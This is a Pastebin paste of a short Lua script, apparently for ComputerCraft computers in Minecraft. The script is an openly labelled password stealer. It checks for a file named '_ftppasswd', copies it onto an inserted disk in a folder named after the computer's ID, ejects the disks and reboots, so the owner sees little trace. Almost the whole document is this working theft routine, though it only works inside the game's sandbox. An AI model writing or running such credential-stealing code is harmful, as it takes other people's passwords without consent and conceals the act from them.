Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local x,y = term.getSize()
- if fs.exists("_ftppasswd") then
- sttring = "Stealing FTP password..."
- term.setCursorPos(x-#sttring, y)
- term.clearLine()
- print(sttring)
- fs.delete("disk/PC_" ..os.getComputerID())
- fs.makeDir("disk/PC_"..os.getComputerID())
- fs.copy("_ftppasswd","disk/PC_" ..os.getComputerID().. "/_ftppasswd")
- sleep(0.5)
- sides = redstone.getSides()
- for i=1,#sides do
- disk.eject(sides[i])
- end
- sttring = "Complete!"
- term.setCursorPos(x-#sttring, y)
- term.clearLine()
- print(sttring)
- sleep(1)
- os.reboot()
- else
- sttring = "No FTP password detected..."
- term.setCursorPos(x-#sttring, y)
- term.clearLine()
- print(sttring)
- sleep(1)
- os.reboot()
- end
Advertisement
Add Comment
Please, Sign In to add comment